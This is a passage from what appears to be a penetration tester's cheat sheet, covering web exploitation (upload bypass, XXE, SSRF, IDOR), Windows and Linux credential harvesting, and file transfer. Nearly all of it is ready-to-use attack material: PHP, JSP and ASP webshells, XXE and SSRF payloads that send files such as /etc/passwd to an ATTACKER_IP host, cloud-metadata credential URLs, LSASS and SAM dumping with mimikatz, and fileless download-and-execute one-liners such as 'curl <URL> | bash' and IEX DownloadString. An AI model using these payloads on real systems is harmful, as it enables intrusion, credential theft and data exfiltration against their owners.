        echo "shell.jpg${char}${ext}" >> wordlist.txt
        echo "shell.jpg${ext}${char}" >> wordlist.txt
    done < "/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt"
done

Files with XXE (via local file reads)

SVG, PDF, Word, PowerPoint, and other formats that parse XML can execute or expose data via embedded XXE. If the upload is processed as XML, check Page Source for reflected data that may not be shown in the rendered page.

Read File

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file://<FILE>"> ]>
<svg>&xxe;</svg>

Read PHP

NOTE: The response may need to be base64-decoded. This assumes the PHP filter wrapper is available.

To read server configs or PHP without executing them:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<PHP_FILE>"> ]>
<svg>&xxe;</svg>

Simple Webshell

Append PHP code to the SVG payload so the uploaded file both triggers the XXE and contains the webshell.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> 
<svg>&xxe;</svg>
<?php system($_REQUEST['cmd']); ?>
See more about… Web

Source: Docs > 5 - Exploitation > shells#web

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

Code

NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings

<?php echo 7*7; ?>

<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>

<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>

curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>

<%= 7*7 %>

<% eval request("dbg") %>

curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>

See more about… Server-Side Request Forgery (SSRF)

Source: Docs > 5 - Exploitation > ssrf

SSRF forces the server to make HTTP (or other protocol) requests on the attacker’s behalf. The server becomes a proxy β€” useful for accessing internal services, cloud metadata endpoints, or local files.

Identification: Look for any parameter that fetches a remote resource β€” ?url=, ?image=, ?server=, ?dest=, PDF export features, webhooks, icon fetchers.

VariantDescription
Basic SSRFParameter takes a URL; redirect it to internal target
Blind SSRFServer makes the request but returns no output β€” detect via out-of-band callback
SSRF β†’ LFIServer (or its PDF renderer) reads file:// URIs
SSRF β†’ RCEChain into internal services (Redis, Elasticsearch, etc.)

Basic SSRF

Point the vulnerable parameter at an internal resource or metadata endpoint:

# Internal admin panel
http://<TARGET>/item?url=http://127.0.0.1/admin

# AWS metadata
http://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata
http://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Blind SSRF Detection

If the response gives nothing back, confirm the request fires via a callback:

# Start listener
nc -lvnp 8080

# Inject callback URL into the vulnerable parameter
curl "http://<TARGET>/webhook?url=http://<ATTACKER_IP>:8080/ping"

Use Burp Collaborator or interactsh for DNS-based OOB confirmation.

SSRF β†’ LFI via HTML Injection in PDF

When an app generates PDFs from user input using a headless browser (wkhtmltopdf, Puppeteer, Chrome headless), injecting JavaScript into the input causes the renderer to execute it. The script can read file:// URIs and exfiltrate content back to the attacker.

Identification: Submit a field and download the resulting PDF β€” if your input renders as HTML (not escaped), the renderer is likely vulnerable.

Inject into the vulnerable input field (e.g., a tracker or name field that ends up in the PDF):

while true; do nc -lvnp 8080; done

# Into vulnerable field
<script>
x=new XMLHttpRequest;
x.onload=function(){document.location='http://<ATTACKER_IP>:8080?c='+btoa(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>

Automate with curl

URL-encode the payload and POST it directly:

while true; do nc -lvnp 8080; done

PAYLOAD='<script>x=new XMLHttpRequest;x.onload=function(){document.location="http://<ATTACKER_IP>:8080?c="+btoa(this.responseText)};x.open("GET","file:///<FILE>");x.send();</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
curl 'http://<TARGET>/' \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw "insert=Track+Now&handle=${ENCODED}"

NOTE: Some PDF renderers block file:// access by default. If the payload fires but returns empty, try /proc/self/environ, /etc/hosts, or app config files as alternative targets.


HTTP Verb Tampering

This should return a HTTP Allow header that will demonstrate accepted HTTP verbs:

curl -X OPTIONS -i 'http://<TARGET>/*'

Then experiment with changing the request… like GET -> POST. If it’s an authentication request that uses only HTTP Headers, try also HEAD or OPTIONS.

curl -X POST "http://<TARGET>/index.php" -d "filename=test;id"

Create HTTP Verb list from common ones and response from OPTIONS

{ curl -s -I -X OPTIONS <TARGET> | grep -i "allow:" | cut -d':' -f2 | tr ',' '\n' | tr -d ' ' ; echo "GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT DEBUG TEST" | tr ' ' '\n'; } | sort -u > http_methods.txt

ffuf -w ./http_methods.txt -X FUZZ -u <TARGET>

Insecure Direct Object References (IDOR)

Occurs when an application exposes a direct reference to an internal implementation object (such as a database key or file path) in a URL or API parameter, allowing an attacker to manipulate that reference to access unauthorized data belonging to another user.

Basic Fuzzing

NOTE: don’t forget the cookie header if needed!

# Fuzz API using IDs 0-50, matching on HTTP 200 or "txt"
ffuf -request-proto http -request request.txt -w <(seq 1 10) -mr <REGEX>

ffuf -u "http://<TARGET>/api/user/FUZZ" -w <(seq 0 50) -mr <REGEX>

Encoded Fuzzing

If the target encodes the ID (e.g. Base64 in the URL) but expects an MD5 hash for the actual file/object:

# Iterates 1-20, calculates Base64(ID) and MD5(ID), and downloads file
for i in {1..20}; do
    B64_ID=$(echo -n "$i" | base64 -w 0)
    MD5_ID=$(echo -n "$i" | md5sum | tr -d ' -')
    
    echo "Testing ID: $i | B64: $B64_ID | MD5: $MD5_ID"
    
    # -J uses the server Content-Disposition automatically
    curl -sJo- "http://<TARGET>/download.php?contract=$B64_ID"
    # NOTE: this is a manual method:
    # -H "Content-Disposition: attachment; filename=\"contract_$id_hashed.pdf\"" 
done

LFI via XXE

Default XML header as needed:

<?xml version="1.0"?>

TRY placing &xxe; into different fields to see if TESTSTRING gets reflected back to the page.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe "TESTSTRING">]>
<root><subtotal>&xxe;</subtotal><userid>&xxe;</userid></root>

Basic LFI via XXE

Use the php://filter to Base64-encode files before extraction. This prevents XML parsers from crashing when they hit characters like < or & inside the target PHP file.

NOTE: Replace <FILE>!

<!-- INJECT THIS INTO THE XML BODY -->
<!DOCTYPE email[
  <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>">
]>
<root>
    <email>&file;</email>
</root>

Decode locally: base64 -d <<< "PD9waHA..."

Advanced LFI

If the PHP wrapper is blocked, use CDATA to read raw files. Requires hosting a malicious DTD on your machine.

echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd

python3 -m http.server 8000

NOTE: Replace <FILE> and <ATTACKER_IP>!

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file://<FLAG>">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://<ATTACKER_IP>:8000/xxe.dtd">
  %xxe;
]>

Send as HTTP request body:

<!DOCTYPE email[
  <!ENTITY % remote SYSTEM "http://<ATTACKER_IP>/xxe.dtd">
  %remote;
  %xxe;
]>
<root>
    <email>&joined;</email>
</root>

Blind OOB Exfiltration

If the server processes the XML but returns no output to your screen, force the server to send the file contents to your web server as a URL parameter. This sends the desired data/file to the ATTACKER_IP via an outbound HTTP request

NOTE: Replace <FILE> and <ATTACKER_IP>!

# XXE for reading file
cat << 'EOF' > xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=<FILE>">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<ATTACKER_IP>:8000/?content=%file;'>">
EOF

# Autodecoder for base64
cat << 'EOF' > index.php
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>
EOF

php -S 0.0.0.0:8000

Step 2: The Payload (Send to Target)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://<ATTACKER_IP>:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

RCE via expect

Note: The expect module is not enabled/installed by default on modern PHP servers, so this attack may not always work. This is why XXE is usually used to disclose sensitive local files and source code, which may reveal additional vulnerabilities or ways to gain code execution.

echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80

Note: We replaced all spaces in the above XML code with $IFS, to avoid breaking the XML syntax. Furthermore, many other characters like |, >, and { may break the code, so we should avoid using them.

NOTE: Replace and <ATTACKER_IP>!

<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'<ATTACKER_IP>/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

XXEinjector: Automated OOB

If manual OOB is tedious, use XXEinjector to automate the extraction.

  1. Save the Burp POST request to req.txt.
  2. Replace the XML data with the word XXEINJECT.
...

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
  1. Run the extractor:
git clone https://github.com/enjoiz/XXEinjector.git && cd XXEinjector

ruby XXEinjector.rb --verbose --phpfilter --oob=http --host=<ATTACKER_IP> --httpport=8000 --file=req.txt --path=<FILE>
# Results save to: Logs/<TARGET_IP>/etc/passwd.log

6 - Post-Exploitation

Authentication - Linux

Reference:

See more about… 1. Core Architecture: PAM

Source: Docs > 9 - Notes > Authentication Process - Linux#1-core-architecture-pam

1. Core Architecture: PAM

Pluggable Authentication Modules (PAM) manage the authentication, session setup, and password changes.

  • Key Module: pam_unix.so (Standard Unix auth).
  • Location: /usr/lib/x86_64-linux-gnu/security/
  • Function: Bridges the gap between user input (e.g., passwd command) and flat files (/etc/passwd, /etc/shadow).

Credentials Harvesting

# LINUX: Find Potentially Useful Files
for ext in $(echo ".xls .xls* .xltx .od* .doc .doc* .pdf .pot .pot* .pp*") ; do echo -e "\nFile extension: " $ext ; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ; done

# Text files
find /home/* -type f -name "*.txt" -o ! -name "*.*"

# Crontab
cat /etc/crontab
ls -la /etc/cron.*/

# Maybe creds in /home/*/
find /home/ -type f \( -name '.*rc' -o -name '.*history' -o -name 'config.fish' -o -name '.*login' \)
# Browser creds
ls -l .mozilla/firefox/ | grep default
wget https://github.com/unode/firefox_decrypt/raw/refs/heads/main/firefox_decrypt.py
python3 firefox_decrypt.py

# Logs
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done

# Config
for ext in .conf .config .cnf; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "lib|fonts|share|core"); [ -n "$out" ] && echo -e "\nFile extension: $ext" && echo "$out"; done

# Pass in configs
for i in $(find / -name "*.cnf" 2>/dev/null | grep -vE "doc|lib"); do out=$(grep -E "user|password|pass" "$i" 2>/dev/null | grep -v "#"); [ -n "$out" ] && echo -e "\nFile: $i" && echo "$out"; done

# Database
for ext in .sql .db ".*db" ".db*"; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "doc|lib|headers|share|man"); [ -n "$out" ] && echo -e "\nDB File extension: $ext" && echo "$out"; done

# Code
for ext in .py .pyc .pl .go .jar .c .sh; do out=$(find / -name "*$ext" 2>/dev/null | grep -vE "doc|lib|headers|share"); [ -n "$out" ] && echo -e "\nFile extension: $ext" && echo "$out"; done

Authentication - Windows

Reference:

See more about… Authentication Process - Windows

Source: Docs > 9 - Notes > Authentication Process - Windows

Authentication Process - Windows

1. Key Processes & Architecture

WinLogon (WinLogon.exe)

  • Role: The “orchestrator.” Intercepts keyboard input (Ctrl+Alt+Del), manages the workstation lock status, and handles password changes.
  • Workflow: Launches LogonUI -> Collects Creds -> Sends to LSASS.
  • Legacy Note (GINA): In older Windows (NT/XP), msgina.dll handled this. Replaced by Credential Providers in modern Windows.

LogonUI (LogonUI.exe)

  • Role: The graphical user interface that asks for the password.
  • Mechanism: Uses Credential Providers (COM Objects/DLLs) to accept different auth types (Password, PIN, Biometrics).

LSASS (%SystemRoot%\System32\Lsass.exe)

  • Role: The “Gatekeeper.” Enforces security policy, validates the password against SAM/AD, and writes to the Event Log.
  • Resources: Microsoft: LSA Architecture

2. Authentication DLLs (The Packages)

These modules live inside LSASS to handle specific tasks.

DLL NameFunction / Description
Lsasrv.dllThe Manager. Enforces policy and chooses the protocol (Negotiate: Kerberos vs NTLM).
Msv1_0.dllLocal / NTLM. Handles non-domain logins and legacy NTLM authentication.
Kerberos.dllDomain. Handles Kerberos ticket requests and validation.
Samsrv.dllSAM Interface. Talks to the local SAM database.
Netlogon.dllNetwork. Handles the secure channel for network logons.
Ntdsa.dllAD Interface. Used to create/manage records in the Registry or AD.

3. Credential Storage Locations

Local Users (SAM)

  • File Path: %SystemRoot%\system32\config\SAM
  • Registry Mount: HKLM\SAM
  • Protection: Partially encrypted by SYSKEY (syskey.exe) to prevent offline extraction.
  • Content: Local user NTLM/LM hashes.
Registry HiveDescription
HKLM\SAMContains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords.
HKLM\SYSTEMStores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes.
HKLM\SECURITYContains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more.

Domain Users (NTDS)

  • File Path: %SystemRoot%\ntds.dit
  • Location: Found only on Domain Controllers.
  • Content: Active Directory database (Users, Groups, Computers, GPOs, Hashes).
  • Sync: Replicates to all DCs (except Read-Only DCs).

Credential Manager (The Vault)

  • Role: Stores saved passwords for RDP, Websites, and Network Shares.
  • Policy.vpol in File Path:
  • %UserProfile%\AppData\Local\Microsoft\Vault\
  • %UserProfile%\AppData\Local\Microsoft\Credentials\
  • %UserProfile%\AppData\Roaming\Microsoft\Vault\
  • %ProgramData%\Microsoft\Vault\
  • %SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\
Windows Credential Manager

LSASS

# Remotely dump LSA secrets
# NOTE: also requires **SeDebugPrivilege**
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsa
# Remotely dump SAM secrets
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --sam

NOTE: These require SeDebugPrivilege

Get LSASS memory dump via GUI:

  1. Open Task Manager
  2. Select Details > lsass.exe
  3. Right-Click > “Create Dump File”
  4. Move or transfer the file (usually in %TMP%)
# Get LSASS PID
tasklist /fi "IMAGENAME eq lsass.exe"
Get-Process lsass

# Dump
powershell -command "rundll32.exe C:\windows\system32\comsvcs.dll,MiniDump <PID> $env:TMP\crash.dmp full"

# Parse creds/hashes from dump
pypykatz lsa minidump <DUMP_FILE>
# OR
.\mimikatz.exe
log
sekurlsa::minidump crash.dmp
sekurlsa::logonpasswords

Credential Manager

# Backup Stored Creds
rundll32 keymgr.dll,KRShowKeyMgr

---

# List stored creds
cmdkey /list

# Impersonate
runas /savecred /user:<DOMAIN>\<USER> cmd.exe
runas /savecred /user:<DOMAIN>\<USER> powershell.exe

# Run as Other User
runas /netonly /user:<DOMAIN>\<USER> cmd.exe
runas /netonly /user:<DOMAIN>\<USER> powershell.exe

---

\\tsclient\share\mimikatz.exe
privilege::debug
sekurlsa::credman

Creds Harvesting

# https://github.com/AlessandroZ/LaZagne
wget -q https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.7/LaZagne.exe -O lazagne.exe

# MODULES: browsers, sysadmin, memory, windows, chats, mails, wifi
.\lazagne.exe all -oA -output creds

---

# WINDOWS: Search for plaintext creds in files
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.git *.ps1 *.yml *.xml

Secrets Dumping (SAM)

# ATTACKER: create SMB share

# TARGET: save creds hives
reg.exe save HKLM\SAM "%APPDATA%\sam.save"
reg.exe save hklm\SYSTEM "%APPDATA%\system.save"
reg.exe save hklm\SECURITY "%APPDATA%\security.save"

cd %APPDATA%
move *.save \\<ATTACKER_IP\<SHARE>\

# ATTACKER: extract local NT hashes
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

# 1000 is for NT hashes
hashcat -m 1000 <HASHES> <WORDLIST>
# 2100 is for PBKDF2 (DCC2 hashes for domain)
hashcat -m 2100 <HASHES> <WORDLIST>

# DPAPI creds
mimikatz.exe
dpapi::chrome /in:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

Hash Defaults of LM or NTLM

Hash ValueTypeMeaning / Context
aad3b435b51404eeaad3b435b51404eeLMEmpty / Disabled. LM is disabled on modern Windows, so this is the placeholder you will see for every user. Ignore it.
31d6cfe0d16ae931b73c59d7e0c089c0NTEmpty String. The user has no password. Common for Guest or Administrator if not enabled/set.

Common Location Paths

🐧 Linux

LocationDescriptionExample
$HOME or ~User’s home directory/home/username
$TMPDIR or $TMPTemporary files directory/tmp
$XDG_CONFIG_HOMEUser’s configuration directory/home/username/.config
$XDG_DATA_HOMEUser’s data directory/home/username/.local/share
$XDG_CACHE_HOMEUser’s cache directory/home/username/.cache
$XDG_RUNTIME_DIRUser’s runtime directory/run/user/1000
/rootRoot user’s home directory/root
/etcSystem configuration directory/etc
/varVariable data directory/var
/usrUser programs and data directory/usr
/optOptional software packages directory/opt
/bootBoot loader files directory/boot
/procProcess and system information directory/proc
/sysSystem and device information directory/sys
/devDevice files directory/dev
/mntMount points for filesystems/mnt
/mediaRemovable media mount points/media
/srvService-specific data directory/srv
/runRuntime variable data directory/run

πŸͺŸ Windows

LocationPowerShell EquivalentDescriptionExample
%windir%$env:windirWindows installation directoryC:\Windows
%SystemRoot%$env:SystemRootAlias for %windir%C:\Windows
%ProgramFiles%$env:ProgramFilesDefault directory for 64-bit programsC:\Program Files
%ProgramFiles(x86)%$env:ProgramFiles(x86)Default directory for 32-bit programs on 64-bit systemsC:\Program Files (x86)
%CommonProgramFiles%$env:CommonProgramFilesDefault directory for 64-bit common filesC:\Program Files\Common Files
%CommonProgramFiles(x86)%$env:CommonProgramFiles(x86)Default directory for 32-bit common files on 64-bit systemsC:\Program Files (x86)\Common Files
%SystemDrive%$env:SystemDriveDrive letter of the system partitionC:
%USERPROFILE%$env:USERPROFILEPath to the current user’s profile directoryC:\Users\username
%APPDATA%$env:APPDATAUser’s roaming application data directoryC:\Users\username\AppData\Roaming
%LOCALAPPDATA%$env:LOCALAPPDATAUser’s local application data directoryC:\Users\username\AppData\Local
%TEMP% or %TMP%$env:TEMP or $env:TMPUser’s temporary files directoryC:\Users\username\AppData\Local\Temp
%HOMEDRIVE%$env:HOMEDRIVEDrive letter of the user’s home directoryC:
%HOMEPATH%$env:HOMEPATHPath to the user’s home directory\Users\username
%PATH%$env:PATHSemicolon-separated list of executable search pathsC:\Windows;C:\Windows\System32
%PATHEXT%$env:PATHEXTSemicolon-separated list of executable file extensions.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
%PUBLIC%$env:PUBLICPath to the public user directoryC:\Users\Public
%USERNAME%$env:USERNAMEThe name of the current userusername
%COMPUTERNAME%$env:COMPUTERNAMEThe name of the computerDESKTOP-XXXXXX

File Transfer

Encryption (for exfiltration)

### === via PowerShell  ===
# https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions%5CInvoke-AESEncryption.ps1
Import-Module .\Invoke-AESEncryption.ps1
Invoke-AESEncryption -Mode Encrypt -Key "<PASSWORD>" -Path <FILE>

### === via OpenSSL
# https://docs.openssl.org/1.1.1/man1/enc/
# Encrypt
openssl enc -aes256 -iter 100000 -pbkdf2 -in <IN_FILE> -out <OUT_FILE>
# Decrypt
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in <IN_FILE> -out <OUT_FILE>

### === via WinRAR ===
sudo apt install -y rar
# OR
wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
tar -xzvf rarlinux-x64-612.tar.gz && cd rar && sudo make install

# Double Encrypt
rar a stage1.rar -p <FILENAME>
mv stage1.rar stage1
rar a stage2.rar -p stage1
mv stage2.rar stage2

⬇️ Linux <= Download

### === WEB ===

# Download (FILE)
wget -O <OUTPUT_FILE> <URL>
curl -skLo <OUTPUT_FILE> <URL>

# Download & Execute (FILELESS)
wget -qO- <URL> | python3
curl <URL> | bash

# Create socket
# Bash v2.04+ (compiled w/ --enable-net-redirections
exec 3<>/dev/tcp/<TARGET>/<PORT>
# Send data and read data from socket
echo -e "GET / HTTP/1.1\n\n">&3 ; cat <&3

# Python (FILE)
python2.7 -c 'import urllib;urllib.urlretrieve ("<URL>", "<OUTPUT_FILE>")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("<URL>", "<OUTPUT_FILE>")'

# PHP (FILE)
php -r '$file = file_get_contents("<URL>"); file_put_contents("<OUTPUT_FILE>",$file);'
php -r 'const BUFFER = 1024; $fremote = 
fopen("<URL>", "rb"); $flocal = fopen("<OUTPUT_FILE>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
# PHP (FILELESS)
php -r '$lines = @file("<URL>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

# Ruby
ruby -e 'require "net/http"; File.write("<OUTPUT_FILE>", Net::HTTP.get(URI.parse("<URL>")))'

# Perl
perl -e 'use LWP::Simple; getstore("<URL>", "<OUTPUT_FILE>");'

# --- WEB Encrypted ---

openssl req -newkey rsa:2048 -x509 -nodes -sha256 -subj '/CN=backup' -out server.pem -keyout key.pem
# Host file for download
openssl s_server -quiet -accept <LISTEN_PORT> -cert server.pem -key key.pem < <UPLOAD_FILE>
# Download file
openssl s_client -quiet -connect <TARGET>:<PORT> > <DOWNLOAD_FILE>

### === SSH ===

# ATTACKER BOX: create dummy low priv user
sudo systemctl enable --now ssh
sudo useradd backup -m -d /home/backup -s /usr/sbin/nologin
sudo bash -c 'echo "backup:987!BackupUser!123" | chpasswd'

# TARGET
scp backup@<ATTACKER_IP>:<DOWNLOAD_FILE> <OUTPUT_FILE>

### === BINARY ===

# to/receive file
nc -lvnp <PORT> > <OUTPUT_FILE>
ncat --recv-only -lp <PORT> > <OUTPUT_FILE>

# from/send file
nc -q0 <TARGET> <PORT> < <UPLOAD_FILE>
ncat --send-only <TARGET> <PORT> < <UPLOAD_FILE>
cat <UPLOAD_FILE> > /dev/tcp/<TARGET>/<PORT>

### === COPY&PASTA ===

# ATTACKER BOX: ENCODE
f="<FILE>" ; cat "$f" | base64 -w0 ; echo ; md5sum "$f"

# TARGET: DECODE
echo -n "<BASE64>" | base64 -d > <DECODED_FILE> ; md5sum <DECODED_FILE>

⬆️ Linux => Upload

### === WEB ===

# --- Python3 uploadserver ---

pip3 install --break-system-packages uploadserver

# ATTACKER BOX
openssl req -newkey rsa:2048 -x509 -nodes -sha256 -subj '/CN=backup' -out server.pem -keyout server.pem
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

# TARGET
curl --insecure -X POST https://<ATTACKER_IP>/upload -F 'files=@<UPLOAD_FILE>' -F 'files=@<UPLOAD_FILE>'
python3 -c 'import requests;requests.post("https://<ATTACKER_IP>/upload",files={"files":open("<UPLOAD_FILE>","rb")}, verify=False)'

# --- ngninx ---

sudo mkdir -p /var/www/uploads/<UP_DIR>
sudo chown -R www-data:www-data /var/www/uploads/<UP_DIR>
echo 'server {
    listen <LISTEN_PORT>;
    location /<UP_DIR>/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}' | sudo tee /etc/nginx/sites-available/upload.conf
sudo ln -fs /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
# Needed to stop listening on port 80
sudo rm /etc/nginx/sites-enabled/default
sudo systemctl start nginx.service

# Upload file
curl --upload-file <UPLOAD_FILE> http://<TARGET>:<LISTEN_PORT>/<UP_DIR>/<UPLOAD_FILE> 

### === SERVER on TARGET ===

# TARGET
python3 -m http.server <PORT>
python2.7 -m SimpleHTTPServer <PORT>
php -S 0.0.0.0:<PORT>
ruby -run -e httpd . -p <PORT>

# ATTACKER BOX
wget http://<TARGET>:<PORT>

### === SSH ===

# ATTACKER BOX
scp backup@<ATTACKER_IP>:<DOWNLOAD_FILE> <TARGET_LOCATION>

### === BINARY ===

# to/receive file
nc -lvnp <PORT> > <OUTPUT_FILE>
ncat --recv-only -lp <PORT> > <OUTPUT_FILE>

# from/send file
nc -q0 <ATTACKER_IP> <PORT> < <DOWNLOAD_FILE>
ncat --send-only <ATTACKER_IP> <PORT> < <DOWNLOAD_FILE>
cat <DOWNLOAD_FILE> > /dev/tcp/<ATTACKER_IP>/<PORT>

⬆️ Windows => Upload

### === WEB ===

# --- UPLOAD Server ---

pip3 install --break-system-packages uploadserver

python3 -m uploadserver

# https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1
Invoke-RestMethod -Uri http://<ATTACKER_IP>:8000/upload -Method POST -Form (New-Object -TypeName System.Collections.Hashtable -Property @{file = Get-Item <UPLOAD_FILE>})

# --- UPLOAD Server ---

# b64 decode from here
nc -lvnp <PORT>

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Method POST -Uri http://<ATTACKER_IP>:<PORT>/ -Body $b64

### === SMB ===
# https://github.com/fortra/impacket/blob/master/examples/smbserver.py
impacket-smbserver -smb2support -username <USERNAME> -password <PASSWORD> <SHARE_NAME> <SHARE_PATH>

### === WEBDAV (HTTP) ===
# https://github.com/mar10/wsgidav

sudo pip3 install --break-system-packages wsgidav cheroot

sudo wsgidav --host=0.0.0.0 --port=<PORT> --root=<DIRECTORY> --auth=anonymous

# UPLOAD
Invoke-RestMethod -Uri "http://<ATTACKER_IP>/<SHARE_NAME>/<FILENAME>" -Method POST -Form @{file = Get-Item "<LOCAL_FILE_PATH>"}

### === FTP ===

sudo pip3 install --break-system-packages pyftpdlib

sudo python3 -m pyftpdlib --write --port <SERVER_PORT>

(New-Object Net.WebClient).UploadFile('ftp://<ATTACKER_IP>/<SAVENAME>', '<UPLOAD_FILE>')

# Upload (NON-INTERACTIVELY)
echo open <ATTACKER_IP> > ftpconfig.txt
echo USER anonymous >> ftpconfig.txt
echo binary >> ftpconfig.txt
echo PUT <FILE> >> ftpconfig.txt
echo bye >> ftpconfig.txt

ftp -v -n -s:ftpconfig.txt

### === WinRM ===
# TCP/5985 or 5986
# Windows Remote Management service
# user in "Administrators" or "Remote Management Users"

$Session = New-PSSession -ComputerName <TARGET>
Copy-Item -ToSession $Session -Path <UPLOAD_FILE> -Destination <OUTPUT_FILE>

### === COPY&PASTA ===

# ENCODE: Windows
$f="<UPLOAD_FILE>" ; [Convert]::ToBase64String((Get-Content -path $f -Encoding byte)) ; Get-FileHash $f -Algorithm MD5 | select Hash

# DECODE: Linux
echo -n "<BASE64>" | base64 -d > <DECODED_FILE>.decode ; md5sum *.decode

⬇️ Windows <= Download

### === WEB ===

# HTTP port 80
sudo python3 -m http.server 80

# HTTPS port 443
openssl req -new -x509 -keyout https_server_cert.pem -out https_server_cert.pem -days 365 -nodes

sudo python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='https_server_cert.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

# Download (FILE)
(New-Object Net.WebClient).DownloadFile('<DOWNLOAD_URL>','<OUTPUT_FILE>')

(New-Object Net.WebClient).DownloadFileAsync('<DOWNLOAD_URL>','<OUTPUT_FILE>')

# Set User-Agent string
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
# Web Request
Invoke-WebRequest <DOWNLOAD_URL> -UserAgent $UserAgent -OutFile '<OUTPUT_FILE>'
Invoke-RestMethod <DOWNLOAD_URL> -UserAgent $UserAgent -OutFile '<OUTPUT_FILE>'

# Allow untrusted certs and initialize first-time IE
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Invoke-WebRequest -UseBasicParsing <DOWNLOAD_URL> -OutFile <OUTPUT_FILE>

# Download & Execute (FILELESS)
IEX (New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>')

(New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>') | IEX

# https://lolbas-project.github.io/lolbas/Binaries/Certutil/#download
certutil -URLcache -split -f http://<ATTACKER>/<FILE> C:\Users\public\<FILE>
# https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/#download
